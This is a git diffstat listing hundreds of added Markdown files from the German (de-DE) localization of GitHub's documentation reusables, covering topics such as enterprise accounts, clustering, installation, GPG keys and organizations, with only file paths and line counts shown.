 .../data/reusables/education/pdf-support.md   |   13 +
 .../reusables/education/plan-to-use-github.md |   10 +
 .../data/reusables/education/school-name.md   |   10 +
 .../education/select-email-address.md         |   16 +
 .../reusables/education/submit-application.md |   18 +
 .../education/upload-different-image.md       |    9 +
 .../education/upload-proof-reapply.md         |    9 +
 .../education/upload-proof-status.md          |   21 +
 .../about-recovery-codes.md                   |    9 +
 .../access-enterprise-on-dotcom.md            |   15 +
 .../enterprise-accounts/access-enterprise.md  |   16 +
 ...ges-report-download-enterprise-accounts.md |    2 +
 .../actions-runner-groups-tab.md              |    9 +
 .../actions-runners-tab.md                    |    9 +
 .../enterprise-accounts/actions-tab.md        |    9 +
 .../enterprise-accounts/add-a-domain.md       |   10 +
 .../enterprise-accounts/administrators-tab.md |   11 +
 ...ndividual-organization-policy-drop-down.md |   10 +
 ...-security-organization-policy-drop-down.md |   10 +
 .../advanced-security-policies.md             |   10 +
 .../advanced-security-security-features.md    |    9 +
 .../approved-domains-about.md                 |    9 +
 .../approved-domains-beta-note.md             |   17 +
 .../enterprise-accounts/audit-log-tab.md      |   10 +
 .../billing-microsoft-ea-overview.md          |    1 +
 .../enterprise-accounts/billing-tab.md        |   10 +
 .../code-security-and-analysis-policies.md    |   10 +
 .../continue-verifying-domain.md              |   12 +
 .../dormant-user-activity-threshold.md        |    1 +
 .../dormant-user-activity.md                  |   23 +
 .../dormant-user-release-phase.md             |   13 +
 .../download-recovery-codes.md                |   11 +
 .../enterprise-accounts/email-tab.md          |   10 +
 .../emu-azure-admin-consent.md                |   14 +
 .../enterprise-accounts/emu-cap-validates.md  |    1 +
 .../enterprise-accounts/emu-forks.md          |    1 +
 .../emu-more-info-account.md                  |    9 +
 .../emu-password-reset-session.md             |    9 +
 .../emu-permission-follow.md                  |    1 +
 .../emu-permission-fork.md                    |    1 +
 .../emu-permission-gist.md                    |    1 +
 .../emu-permission-interact.md                |    1 +
 .../emu-permission-propose.md                 |    1 +
 .../emu-permission-repo.md                    |    1 +
 .../enterprise-accounts/emu-saml-note.md      |   13 +
 .../enterprise-accounts/emu-scim-note.md      |   13 +
 .../enterprise-accounts/emu-short-summary.md  |    1 +
 .../enterprise-accounts/emu-shortcode.md      |    9 +
 .../enterprise-accounts/emu-supported-idps.md |   10 +
 .../enterprise-accounts-billing.md            |    9 +
 .../enterprise-accounts-compliance-tab.md     |   10 +
 .../enterprise-administrators.md              |    9 +
 .../enterprise-accounts/github-connect-tab.md |   10 +
 .../enterprise-accounts/hooks-tab.md          |   10 +
 .../invite-organization.md                    |    9 +
 .../enterprise-accounts/license-tab.md        |   19 +
 .../enterprise-accounts/messages-tab.md       |   10 +
 .../enterprise-accounts/oidc-beta-notice.md   |   13 +
 .../enterprise-accounts/oidc-gei-warning.md   |    5 +
 .../enterprise-accounts/options-tab.md        |   10 +
 .../enterprise-accounts/packages-tab.md       |    9 +
 .../pages-policies-save.md                    |   10 +
 .../enterprise-accounts/pages-tab.md          |   10 +
 .../payment-information-tab.md                |    9 +
 .../enterprise-accounts/people-tab.md         |   10 +
 .../enterprise-accounts/policies-tab.md       |   10 +
 .../enterprise-accounts/projects-tab.md       |   10 +
 .../repo-creation-policy.md                   |   10 +
 .../repo-creation-types.md                    |   10 +
 .../enterprise-accounts/repositories-tab.md   |   10 +
 .../repository-deletion-policy.md             |   10 +
 ...restrict-email-notifications-enterprise.md |   10 +
 .../enterprise-accounts/security-tab.md       |    7 +
 .../enterprise-accounts/settings-tab.md       |   10 +
 .../support-entitlements.md                   |    9 +
 .../enterprise-accounts/team-sync-override.md |   10 +
 .../to-upgrade-or-get-started.md              |    9 +
 .../verified-domains-tab.md                   |   10 +
 .../view-current-policy-config-orgs.md        |   10 +
 .../viewing-dormant-users.md                  |    9 +
 .../vss-ghe-description.md                    |    9 +
 .../about-license-sync.md                     |    9 +
 .../contact-sales-for-renewals-or-seats.md    |    9 +
 .../unique-user-licensing-model.md            |   11 +
 .../verified-domains-license-sync.md          |    5 +
 .../view-consumed-licenses.md                 |    9 +
 .../enterprise-managed/about-billing.md       |    9 +
 .../enterprise/3-5-missing-feature.md         |   11 +
 .../enterprise/about-deployment-methods.md    |    9 +
 .../about-github-for-enterprises.md           |    9 +
 .../reusables/enterprise/about-policies.md    |    9 +
 .../reusables/enterprise/about-ssh-ports.md   |   13 +
 .../enterprise/apply-configuration.md         |   12 +
 .../enterprise/constantly-improving.md        |    9 +
 .../create-an-enterprise-account.md           |    9 +
 .../enterprise/ghec-authentication-options.md |    9 +
 .../reusables/enterprise/ghec-cta-button.md   |    9 +
 .../ghes-is-a-self-hosted-platform.md         |    9 +
 .../ghes-runs-on-your-infrastructure.md       |    9 +
 .../enterprise/github-distributes-ghes.md     |    9 +
 .../reusables/enterprise/link-to-ghe-trial.md |    9 +
 .../enterprise/link-to-ghec-trial.md          |    9 +
 .../navigate-to-log-streaming-tab.md          |   10 +
 .../data/reusables/enterprise/rate_limit.md   |    9 +
 .../repository-caching-config-summary.md      |    9 +
 .../repository-caching-release-phase.md       |    7 +
 .../reusables/enterprise/test-in-staging.md   |    1 +
 .../enterprise/upgrade-ghes-for-features.md   |   13 +
 .../reusables/enterprise/use-a-multiplexer.md |    9 +
 .../verify-audit-log-streaming-endpoint.md    |    9 +
 .../enterprise-backup-utils-directory.md      |    9 +
 .../enterprise-backup-utils-update-repo.md    |   19 +
 .../enterprise-backup-utils-verify-upgrade.md |   18 +
 .../apply-configuration.md                    |   11 +
 .../clustering-requires-https.md              |   13 +
 .../clustering-scalability.md                 |    9 +
 .../configuration-file-heading.md             |    9 +
 .../configuration-finished.md                 |   13 +
 .../enterprise_clustering/health_checks.md    |   13 +
 .../key-value-pair-order-irrelevant.md        |    9 +
 .../load_balancer_dns.md                      |    9 +
 .../load_balancer_intro.md                    |    9 +
 .../enterprise_clustering/network-latency.md  |    9 +
 .../open-configuration-file.md                |   11 +
 .../enterprise_clustering/proxy_preference.md |    9 +
 .../proxy_protocol_ports.md                   |   18 +
 .../proxy_xff_firewall_warning.md             |   13 +
 ...acing-a-cluster-node-admin-configure-ip.md |    9 +
 .../replacing-a-cluster-node-config-node.md   |    9 +
 ...cing-a-cluster-node-initialize-new-node.md |    9 +
 .../replacing-a-cluster-node-mark-offline.md  |   19 +
 ...cing-a-cluster-node-modify-cluster-conf.md |   24 +
 ...placing-a-cluster-node-need-three-nodes.md |    9 +
 .../replacing-a-cluster-node-provision.md     |    9 +
 ...placing-a-cluster-node-replacement-name.md |   16 +
 ...eplacing-a-cluster-node-validate-config.md |    9 +
 .../enterprise_clustering/ssh-to-a-node.md    |    9 +
 .../without_proxy_protocol_ports.md           |   18 +
 .../enterprise_clustering/x-forwarded-for.md  |    9 +
 .../deprecation_details.md                    |   10 +
 .../version_was_deprecated.md                 |    9 +
 .../version_will_be_deprecated.md             |    9 +
 .../installing-releases.md                    |   15 +
 .../sign-in-to-support.md                     |    9 +
 .../support-holiday-availability.md           |   22 +
 .../support_will_ask_you_to_run_command.md    |    9 +
 .../upload-support-bundle.md                  |    9 +
 .../use_ghe_cluster_support_bundle.md         |   13 +
 .../about-adjusting-resources.md              |    9 +
 .../add-ssh-key-to-primary.md                 |    9 +
 .../aws-instance-recommendation.md            |    9 +
 .../azure-instance-recommendation.md          |   13 +
 .../changing-hostname-not-supported.md        |   13 +
 ...and-line-utilities-ghe-upgrade-rollback.md |   15 +
 .../configuration-recognized.md               |   13 +
 .../copy-the-vm-public-dns-name.md            |    9 +
 .../create-attached-storage-volume.md         |    9 +
 .../create-ghe-instance.md                    |    9 +
 .../disable-github-pages-warning.md           |   13 +
 .../download-appliance.md                     |   13 +
 .../download-license.md                       |    9 +
 .../enterprise_installation/download-note.md  |   13 +
 .../download-package.md                       |    4 +
 .../enterprise-download-upgrade-pkg.md        |    9 +
 .../generate-replication-key-pair.md          |   12 +
 .../ha-and-clustering-failure-scenarios.md    |   12 +
 .../hardware-considerations-all-platforms.md  |   49 +
 .../hardware-rec-table.md                     |   15 +
 .../hotpatching-explanation.md                |    7 +
 .../image-urls-viewable-warning.md            |    5 +
 .../increasing-cpus-req.md                    |    9 +
 .../instance-will-restart-automatically.md    |    9 +
 .../lets-encrypt-prerequisites.md             |    9 +
 .../monitoring-replicas.md                    |   16 +
 .../necessary_ports.md                        |   20 +
 .../open-vm-console-start.md                  |   11 +
 .../promoting-a-replica.md                    |    9 +
 .../proxy-incompatible-with-aws-nlbs.md       |   13 +
 .../enterprise_installation/replica-limit.md  |   15 +
 .../enterprise_installation/replica-ssh.md    |   12 +
 .../enterprise_installation/replica-steps.md  |   14 +
 .../enterprise_installation/replica-verify.md |   13 +
 .../replication-command.md                    |   17 +
 .../replication-status.md                     |    9 +
 .../request-a-trial.md                        |    9 +
 ...save-settings-in-web-based-mgmt-console.md |    9 +
 .../software-license.md                       |    9 +
 .../ssh-into-instance.md                      |    5 +
 .../ssh-into-target-instance.md               |   12 +
 .../start-replication.md                      |    9 +
 .../terminating-tls.md                        |   13 +
 .../upload-a-license-file.md                  |    9 +
 .../verify-replication-channel.md             |   12 +
 .../visit-your-instance.md                    |    9 +
 .../vm-console-done.md                        |    9 +
 .../warning-on-scaling.md                     |   13 +
 ...warning-on-upgrading-physical-resources.md |   13 +
 .../when-9418-necessary.md                    |    9 +
 .../access-monitoring.md                      |   10 +
 .../enterprise_management_console/actions.md  |   11 +
 .../advanced-security-license.md              |    9 +
 .../advanced-security-tab.md                  |   10 +
 .../authentication-password.md                |    9 +
 .../authentication-protocol.md                |    9 +
 .../authentication.md                         |   10 +
 .../badge_indicator.md                        |    9 +
 .../enable-disable-security-features.md       |   13 +
 .../enable-snmp.md                            |   10 +
 .../hostname-menu-item.md                     |   10 +
 .../pages-tab.md                              |   10 +
 .../enterprise_management_console/privacy.md  |   10 +
 .../save-settings.md                          |   19 +
 .../select-tls-only.md                        |   10 +
 .../support-link.md                           |   10 +
 .../test-domain-settings-failure.md           |   10 +
 .../test-storage-button.md                    |   11 +
 .../type-management-console-password.md       |   10 +
 ...unlocking-management-console-with-shell.md |    9 +
 .../updates-tab.md                            |   10 +
 .../exclude-file-attachments.md               |    9 +
 .../enterprise_migrations/fork-persistence.md |   13 +
 .../locking-repositories.md                   |   14 +
 .../enterprise_migrations/make-a-list.md      |    9 +
 .../ready-to-import-migrations.md             |    9 +
 .../review-the-import-csv.md                  |   23 +
 .../specify-staging-path.md                   |    9 +
 .../enterprise_migrations/token-generation.md |    9 +
 .../unlocking-on-instances.md                 |   13 +
 .../about-ssh-access.md                       |    9 +
 .../about-the-management-console.md           |    9 +
 .../about-the-site-admin-dashboard.md         |    9 +
 .../access-settings.md                        |   15 +
 .../add-key-to-web-flow-user.md               |   22 +
 .../admin-tab.md                              |    9 +
 .../admin-top-tab.md                          |    9 +
 .../business.md                               |   10 +
 .../click-preview.md                          |    9 +
 .../click-repo.md                             |   10 +
 .../click-user-or-org.md                      |   10 +
 .../click-user.md                             |   10 +
 ...ng-large-file-storage-short-description.md |    9 +
 .../create-pgp-key-web-commit-signing.md      |   16 +
 .../dormancy-threshold.md                     |    1 +
 .../email-settings.md                         |   13 +
 .../git-lfs-toggle.md                         |   10 +
 .../invite-user-reset-link.md                 |   10 +
 .../invite-user-sidebar-tab.md                |   10 +
 ...-with-anonymous-git-read-access-enabled.md |    9 +
 .../maintenance-mode-status.md                |   13 +
 .../management-console.md                     |   10 +
 .../message-preview-save.md                   |   12 +
 .../override-policy.md                        |   13 +
 .../packages-tab.md                           |   10 +
 .../pgp-key-env-variable.md                   |   13 +
 .../pgp-key-no-passphrase.md                  |    9 +
 .../repository-search.md                      |   10 +
 .../save-changes.md                           |   10 +
 .../search-user-or-org.md                     |   10 +
 .../search-user.md                            |   10 +
 .../security-tab.md                           |   10 +
 .../enterprise_site_admin_settings/sign-in.md |    1 +
 .../tls-downtime.md                           |    5 +
 .../update-commit-signing-service.md          |   15 +
 .../wait-for-configuration-run.md             |   11 +
 .../2fa_is_available.md                       |    9 +
 ...natively-enable-external-authentication.md |    1 +
 .../built-in-authentication-new-accounts.md   |    1 +
 .../built-in-authentication-option.md         |    9 +
 .../built-in-authentication.md                |    1 +
 ...r-usernames-for-external-authentication.md |    1 +
 .../disclaimer-for-git-read-access.md         |    9 +
 ...-for-enabling-anonymous-git-read-access.md |   16 +
 .../external_auth_disables_2fa.md             |    9 +
 .../ldap-sync-nested-teams.md                 |    9 +
 .../manage-global-webhooks-api.md             |    9 +
 .../two_factor_auth_header.md                 |    9 +
 .../unauthenticated-sign-ups.md               |    9 +
 .../feature-preview-setting.md                |   10 +
 .../de-DE/data/reusables/files/add-file.md    |   10 +
 .../reusables/files/choose-commit-email.md    |    4 +
 .../reusables/files/choose_commit_branch.md   |   10 +
 .../reusables/files/choose_pull_request.md    |   10 +
 .../files/commit-author-email-options.md      |   10 +
 .../data/reusables/files/confirm_merge.md     |    9 +
 .../data/reusables/files/delete_branch.md     |    9 +
 .../reusables/files/merge_pull_request.md     |    9 +
 .../data/reusables/files/preview_change.md    |   10 +
 .../reusables/files/propose_file_change.md    |   10 +
 .../data/reusables/files/propose_new_file.md  |   10 +
 .../reusables/files/write_commit_message.md   |   10 +
 .../write_commit_message_pull_request.md      |   10 +
 .../reusables/form-schema/attributes-intro.md |    9 +
 .../form-schema/id-must-be-unique.md          |    9 +
 .../reusables/form-schema/options-syntax.md   |   13 +
 .../reusables/form-schema/required-key.md     |    9 +
 .../form-schema/validations-intro.md          |    9 +
 .../reusables/gated-features/auto-merge.md    |    9 +
 .../reusables/gated-features/autolinks.md     |    9 +
 .../reusables/gated-features/code-owners.md   |    9 +
 .../gated-features/code-review-assignment.md  |    9 +
 .../reusables/gated-features/code-scanning.md |   17 +
 .../codespaces-classroom-articles.md          |    1 +
 .../gated-features/copilot-billing.md         |    9 +
 .../data/reusables/gated-features/copilot.md  |   11 +
 .../gated-features/dependency-review.md       |   17 +
 .../dependency-vulnerable-calls.md            |   13 +
 .../reusables/gated-features/display-names.md |    9 +
 .../reusables/gated-features/draft-prs.md     |    9 +
 .../data/reusables/gated-features/emus.md     |    9 +
 .../gated-features/enterprise-accounts.md     |    9 +
 .../enterprise_account_webhooks.md            |   12 +
 .../reusables/gated-features/environments.md  |    9 +
 .../gated-features/generated-health-checks.md |    9 +
 .../data/reusables/gated-features/ghas.md     |    9 +
 .../historical-insights-for-projects.md       |    9 +
 .../gated-features/hosted-runners.md          |    9 +
 .../gated-features/more-info-org-products.md  |    9 +
 .../reusables/gated-features/more-info.md     |    9 +
 .../gated-features/multiple-pr-reviewers.md   |    9 +
 .../data/reusables/gated-features/packages.md |    6 +
 .../data/reusables/gated-features/pages.md    |    9 +
 .../gated-features/protected-branches.md      |    9 +
 .../gated-features/repository-insights.md     |    9 +
 .../gated-features/restrict-email-domain.md   |    9 +
 .../gated-features/secret-scanning-partner.md |   13 +
 .../gated-features/secret-scanning.md         |    9 +
 .../gated-features/security-overview.md       |    9 +
 .../gated-features/tag-protection-rules.md    |    9 +
 .../gated-features/user-repo-collaborators.md |   10 +
 .../verify-and-approve-domain.md              |    9 +
 .../data/reusables/gated-features/wikis.md    |    9 +
 .../reusables/gcm-core/next-time-you-clone.md |    1 +
 .../about-and-creating-teams.md               |   11 +
 .../data/reusables/getting-started/actions.md |    1 +
 .../adding-members-to-organizations.md        |    1 +
 .../data/reusables/getting-started/api.md     |    9 +
 .../getting-started/bearer-vs-token.md        |    9 +
 .../reusables/getting-started/being-social.md |    9 +
 .../configuring-security-features.md          |    1 +
 .../contact-support-enterprise.md             |    9 +
 .../getting-started/contact-support.md        |    9 +
 .../contributing-to-projects.md               |    9 +
 .../getting-started/create-a-repository.md    |    9 +
 .../getting-started/creating-organizations.md |    1 +
 .../getting-started/creating-teams.md         |    9 +
 .../customizing-and-automating.md             |    9 +
 .../enforcing-repo-management-policies.md     |    1 +
 .../enterprise-advanced-security.md           |    1 +
 .../getting-started/fork-a-repository.md      |    9 +
 .../github-pages-enterprise.md                |    9 +
 ...ng-access-to-repositories-projects-apps.md |   11 +
 .../getting-started/learning-enterprise.md    |   11 +
 .../reusables/getting-started/learning.md     |   11 +
 .../managing-enterprise-members.md            |    1 +
 .../getting-started/managing-org-members.md   |    9 +
 .../getting-started/managing-org-policies.md  |   13 +
 .../getting-started/managing-repo-changes.md  |   11 +
 .../getting-started/managing-team-settings.md |   11 +
 .../reusables/getting-started/marketplace.md  |    9 +
 .../getting-started/math-and-diagrams.md      |    9 +
 .../getting-started/open-source-projects.md   |   12 +
 .../org-permissions-and-roles.md              |    9 +
 .../reusables/getting-started/packages.md     |    9 +
 .../participating-in-community.md             |    9 +
 .../getting-started/requiring-2fa.md          |    9 +
 ...eviewing-org-audit-log-and-integrations.md |   11 +
 .../reusables/getting-started/set-up-git.md   |    9 +
 .../setting-org-and-repo-permissions.md       |   11 +
 .../reusables/getting-started/sponsors.md     |    9 +
 ...rg-community-files-and-moderation-tools.md |   11 +
 .../gist/anonymous-gists-cannot-be-deleted.md |   13 +
 .../cannot-convert-public-gists-to-secret.md  |    9 +
 .../reusables/git/cache-on-repository-path.md |   13 +
 .../git/clear-stored-gcm-credentials.md       |   13 +
 .../git/clear-the-stored-credentials.md       |    9 +
 .../de-DE/data/reusables/git/commit-file.md   |    9 +
 .../de-DE/data/reusables/git/git-push.md      |    5 +
 .../reusables/git/no-credential-manager.md    |    9 +
 .../de-DE/data/reusables/git/open-terminal.md |    9 +
 .../data/reusables/git/provide-credentials.md |    3 +
 .../data/reusables/git/remove-git-remote.md   |   18 +
 ...reset-head-to-previous-commit-codeblock.md |    9 +
 .../data/reusables/git/stage_for_commit.md    |    9 +
 .../data/reusables/git/unstage-codeblock.md   |    9 +
 .../data/reusables/github-ae/about-billing.md |    9 +
 .../github-ae/github-ae-enables-you.md        |    9 +
 .../github-ae/initialize-enterprise.md        |    9 +
 .../reusables/github-ae/saml-idp-table.md     |   16 +
 .../access-dotcom-and-enterprise.md           |    9 +
 .../github-connect/access-profile-settings.md |   10 +
 .../github-connect/authorize-connection.md    |   10 +
 .../data/reusables/github-connect/beta.md     |   13 +
 .../connect-dotcom-and-enterprise.md          |   10 +
 .../connection-port-protocol.md               |    9 +
 .../github-connect-tab-user-settings.md       |   10 +
 .../send-contribution-counts-to-githubcom.md  |   10 +
 .../github-connect/sync-frequency.md          |    9 +
 .../reusables/gpg/configure-ssh-signing.md    |   12 +
 .../data/reusables/gpg/copy-gpg-key-id.md     |   17 +
 .../data/reusables/gpg/copy-ssh-public-key.md |   46 +
 .../gpg/desktop-support-for-commit-signing.md |   13 +
 .../data/reusables/gpg/list-keys-with-note.md |   19 +
 .../data/reusables/gpg/paste-gpg-key-id.md    |   17 +
 .../reusables/gpg/paste-ssh-public-key.md     |   11 +
 .../de-DE/data/reusables/gpg/private-email.md |   10 +
 .../data/reusables/gpg/smime-git-version.md   |   14 +
 .../data/reusables/gpg/ssh-git-version.md     |   14 +
 .../gpg/supported-gpg-key-algorithms.md       |   19 +
 .../de-DE/data/reusables/gpg/x-509-key.md     |   65 +
 .../about-adding-ip-allow-list-entries.md     |   11 +
 .../about-checking-ip-address.md              |    9 +
 .../about-editing-ip-allow-list-entries.md    |   12 +
 .../about-enabling-allowed-ip-addresses.md    |   12 +
 .../about-team-sync.md                        |    9 +
 .../check-ip-address-step.md                  |   10 +
 .../check-ip-address.md                       |   11 +
 .../enable-team-sync-azure.md                 |   10 +
 .../enable-team-sync-okta.md                  |   10 +
 .../ip-allow-lists-add-description.md         |   10 +
 .../ip-allow-lists-add-entry.md               |   10 +
 .../ip-allow-lists-add-ip.md                  |   10 +
 .../ip-allow-lists-address-inheritance.md     |   11 +
 .../ip-allow-lists-cidr-notation.md           |    9 +
 .../ip-allow-lists-confirm-deletion.md        |   10 +
 .../ip-allow-lists-delete-entry.md            |   10 +
 .../ip-allow-lists-edit-description.md        |   10 +
 .../ip-allow-lists-edit-entry.md              |   10 +
 .../ip-allow-lists-edit-ip.md                 |   10 +
 .../ip-allow-lists-enable.md                  |   11 +
 .../ip-allow-lists-enterprise.md              |   11 +
 ...ip-allow-lists-example-and-restrictions.md |    9 +
 .../ip-allow-lists-githubapps-enterprise.md   |   16 +
 .../ipv6-allow-lists.md                       |   13 +
 .../revoking-identity-team-sync.md            |   13 +
 .../supported-idps-team-sync.md               |   11 +
 .../sync-team-with-idp-group.md               |    9 +
 .../team-sync-azure-permissions.md            |   12 +
 .../team-sync-confirm-saml.md                 |    9 +
 .../team-sync-confirm-scim.md                 |    9 +
 .../team-sync-confirm.md                      |   12 +
 .../team-sync-disable.md                      |   13 +
 .../team-sync-okta-requirements.md            |   13 +
 .../team-sync-required-permissions.md         |   14 +
 .../team-sync-usage-limits.md                 |   16 +
 .../verification-status-check.md              |    9 +
 .../vigilant-mode-beta-note.md                |    7 +
 .../vigilant-mode-verification-statuses.md    |   13 +
 .../collaborator-user-limit-definition.md     |    9 +
 .../contributor-user-limit-definition.md      |    9 +
 .../existing-user-limit-definition.md         |    9 +
 .../interactions/interactions-detail.md       |    9 +
 .../issue-events/assignee-properties.md       |   10 +
 .../issue-event-common-properties.md          |   18 +
 .../issue-events/label-properties.md          |   10 +
 .../issue-events/project-card-properties.md   |   12 +
 .../review-dismissed-properties.md            |   13 +
 .../issue-events/review-request-properties.md |   10 +
 .../timeline_events_object_properties.md      |    9 +
 .../can-include-lfs-objects-archives.md       |   10 +
 .../reusables/large_files/does_not_carry.md   |    9 +
 .../large_files/downgrade_data_packs.md       |   12 +
 .../free-storage-bandwidth-amount.md          |    9 +
 .../reusables/large_files/owner_quota_only.md |    9 +
 .../reusables/large_files/pack_confirm.md     |   10 +
 .../reusables/large_files/pack_selection.md   |   10 +
 .../reusables/large_files/rejected_pushes.md  |    9 +
 .../large_files/resolving-upload-failures.md  |    9 +
 .../large_files/storage_assets_location.md    |    3 +
 .../data/reusables/large_files/use_lfs_tip.md |    5 +
 .../data/reusables/linux/ensure-docker.md     |    9 +
 .../marketplace/add-payment-method-org.md     |   13 +
 .../add-payment-method-personal.md            |   13 +
 .../app-transfer-to-org-for-verification.md   |    9 +
 .../reusables/marketplace/browse-to-app.md    |    9 +
 .../cancel-app-billing-settings.md            |   10 +
 .../data/reusables/marketplace/cancel-app.md  |    9 +
 .../cancel-free-trial-billing-settings.md     |    9 +
 .../marketplace/cancellation-clarification.md |    9 +
 .../reusables/marketplace/choose-new-plan.md  |   10 +
 .../marketplace/choose-new-quantity.md        |   10 +
 .../data/reusables/marketplace/choose-plan.md |   10 +
 .../complete-order-begin-installation.md      |   10 +
 .../confirm-install-account-org.md            |   10 +
 .../confirm-install-account-personal.md       |   10 +
 .../downgrade-app-billing-settings.md         |   10 +
 .../marketplace/downgrade-marketplace-only.md |    9 +
 .../marketplace/free-apps-encouraged.md       |    9 +
 .../reusables/marketplace/free-plan-note.md   |   13 +
 .../data/reusables/marketplace/free-trials.md |    9 +
 .../marketplace/github_apps_preferred.md      |    9 +
 .../data/reusables/marketplace/install-buy.md |   10 +
 .../marketplace/issue-plan-changes.md         |   10 +
 .../reusables/marketplace/launch-with-free.md |    9 +
 .../marketplace/marketplace-apps-only.md      |   13 +
 .../marketplace-billing-ui-requirements.md    |   17 +
 .../marketplace-double-purchases.md           |   13 +
 .../marketplace-failed-purchase-event.md      |    9 +
 .../marketplace-malicious-behavior.md         |   13 +
 .../marketplace/marketplace-org-perms.md      |   13 +
 .../marketplace-pricing-free-trials.md        |    9 +
 .../marketplace/review-app-perms-install.md   |    9 +
 .../marketplace/select-installation-repos.md  |   10 +
 .../reusables/marketplace/unverified-apps.md  |    9 +
 .../upgrade-app-billing-settings.md           |   10 +
 .../marketplace/visit-marketplace.md          |   10 +
 .../data/reusables/mobile/about-mobile.md     |    9 +
 .../mobile/push-notifications-on-ghes.md      |    9 +
 .../custom-notification-types.md              |    9 +
 .../email-notification-caveats.md             |   11 +
 .../notifications-v2/manage-notifications.md  |   10 +
 .../notifications-inbox-required-setting.md   |    9 +
 .../notifications/access_notifications.md     |   10 +
 .../notifications/access_watching.md          |   10 +
 .../reusables/notifications/auto-watch.md     |    9 +
 .../email-restrictions-verification.md        |    9 +
 .../notifications/outbound_email_tip.md       |    7 +
 .../notifications/saved_for_late_sidebar.md   |   10 +
 .../reusables/notifications/shared_state.md   |    5 +
 ...ification-delivery-method-customization.md |    9 +
 ...fication-delivery-method-customization2.md |    9 +
 ...lnerable-dependency-notification-enable.md |   10 +
 ...nerable-dependency-notification-options.md |   23 +
 .../open-source/open-source-guide-general.md  |    9 +
 .../open-source-guide-repositories.md         |    9 +
 .../open-source/open-source-learning.md       |    9 +
 .../organizations/about-custom-repo-roles.md  |    9 +
 .../about-following-organizations.md          |    9 +
 .../organizations/about-organizations.md      |   11 +
 .../reusables/organizations/about-roles.md    |    9 +
 .../organizations/about-security-managers.md  |    9 +
 .../reusables/organizations/add-a-domain.md   |   10 +
 .../organizations/add-dns-txt-record.md       |   10 +
 .../reusables/organizations/add-domain.md     |   10 +
 .../organizations/add-extension-to-cert.md    |    9 +
 .../organizations/add-user-to-teams.md        |    9 +
 .../app-managers-settings-sidebar.md          |   10 +
 .../organizations/billing-settings.md         |   12 +
 .../reusables/organizations/billing_plans.md  |    6 +
 .../reusables/organizations/block_users.md    |    9 +
 .../organizations/blocking-a-user.md          |    9 +
 .../organizations/can-require-ssh-cert.md     |    9 +
 .../organizations/cancel_org_invite.md        |   10 +
 .../child-team-inherits-permissions.md        |    9 +
 .../choose-to-restore-privileges.md           |   12 +
 .../organizations/choose-user-license.md      |    9 +
 .../choose-user-role-send-invitation.md       |   14 +
 .../organizations/choose-user-role.md         |    9 +
 .../organizations/click-codespaces.md         |    9 +
 .../continue-verifying-domain.md              |   12 +
 .../convert-owners-team-confirm.md            |   10 +
 .../create-team-choose-parent.md              |   10 +
 .../reusables/organizations/create_team.md    |    9 +
 .../custom-repo-roles-ghec-only.md            |   13 +
 ...ved_for_reinstating_a_former_org_member.md |   13 +
 .../reusables/organizations/delete-ssh-ca.md  |   12 +
 .../reusables/organizations/deleted-repos.md  |   10 +
 .../disable_project_board_results.md          |    9 +
 .../organizations/domains-approve-domain.md   |   10 +
 .../domains-approve-it-instead.md             |   10 +
 .../organizations/filter-security-overview.md |   10 +
 .../follow-organizations-beta.md              |   13 +
 .../github-apps-settings-sidebar.md           |    6 +
 .../organizations/invite-teams-or-people.md   |   10 +
 .../invite_member_from_people_tab.md          |   12 +
 .../reusables/organizations/invite_to_org.md  |   12 +
 .../reusables/organizations/invite_to_team.md |   14 +
 .../organizations/member-privileges.md        |    6 +
 .../organizations/mixed-roles-warning.md      |    9 +
 .../organizations/navigate-to-org.md          |    1 +
 .../new-org-permissions-more-info.md          |    9 +
 .../organizations/new-organization.md         |   10 +
 .../new-repo-permissions-more-info.md         |    9 +
 .../reusables/organizations/new-ssh-ca.md     |   13 +
 .../data/reusables/organizations/new_team.md  |   12 +
 .../organizations/oauth_app_access.md         |    9 +
 .../oauth_app_restrictions_default.md         |    9 +
 .../organizations/org-invite-expiration.md    |    9 +
 .../organizations/org-invite-scim.md          |    9 +
 .../data/reusables/organizations/org-list.md  |   10 +
 .../org-ownership-recommendation.md           |    9 +
 .../org-settings-repository-roles.md          |    9 +
 .../reusables/organizations/org_settings.md   |   10 +
 .../organizations/organization-name.md        |   10 +
 .../organizations/organization-plans.md       |   11 +
 .../organization-wide-project.md              |   10 +
 .../outside-collaborators-use-seats.md        |    9 +
 .../outside_collaborator_forks.md             |    9 +
 .../outside_collaborators_description.md      |   13 +
 .../organizations/owners-and-admins-can.md    |    9 +
 .../reusables/organizations/owners-team.md    |   12 +
 .../reusables/organizations/people-export.md  |   10 +
 .../data/reusables/organizations/people.md    |   10 +
 .../people_tab_outside_collaborators.md       |   10 +
 .../reinstate-user-type-username.md           |    9 +
 .../removed_outside_collaborators.md          |   10 +
 .../organizations/repo-creation-constants.md  |    9 +
 .../organizations/repository-defaults.md      |    6 +
 .../organizations/repository-labels.md        |    9 +
 .../organizations/require-ssh-cert.md         |   10 +
 .../require_two_factor_authentication.md      |   10 +
 .../reseller-ask-to-become-billing-manager.md |    9 +
 .../restrict-email-notifications.md           |   10 +
 .../restricted-app-access-requests.md         |    9 +
 .../review-team-repository-access.md          |   10 +
 .../organizations/security-and-analysis.md    |    6 +
 .../security-manager-beta-note.md             |   13 +
 ...security-overview-feature-specific-page.md |    9 +
 .../organizations/security-overview.md        |   10 +
 .../data/reusables/organizations/security.md  |    7 +
 .../organizations/send-invitation.md          |    9 +
 .../settings-sidebar-actions-general.md       |    1 +
 .../settings-sidebar-actions-runner-groups.md |    1 +
 .../settings-sidebar-actions-runners.md       |    1 +
 .../reusables/organizations/specific_team.md  |   12 +
 .../organizations/ssh-ca-ghec-only.md         |   14 +
 .../data/reusables/organizations/team-api.md  |    9 +
 .../team-discussions-are-for-orgs.md          |    9 +
 .../organizations/team-discussions-default.md |    9 +
 .../team-discussions-permissions.md           |    9 +
 .../organizations/team-discussions-purpose.md |    9 +
 .../organizations/team-discussions-tab.md     |   10 +
 .../organizations/team-repositories-tab.md    |   10 +
 .../organizations/team-security-overview.md   |   10 +
 .../organizations/team-synchronization.md     |    9 +
 .../organizations/team_description.md         |   10 +
 .../organizations/team_maintainers_can.md     |   23 +
 .../organizations/team_members_tab.md         |   10 +
 .../data/reusables/organizations/team_name.md |   10 +
 .../reusables/organizations/team_settings.md  |   10 +
 .../organizations/team_visibility.md          |   10 +
 .../data/reusables/organizations/teams.md     |   10 +
 .../reusables/organizations/teams_sidebar.md  |    6 +
 .../organizations/types-of-team-visibility.md |   14 +
 .../user_must_accept_invite_email.md          |    9 +
 .../organizations/verified-domains-details.md |    9 +
 .../organizations/verified-domains.md         |    6 +
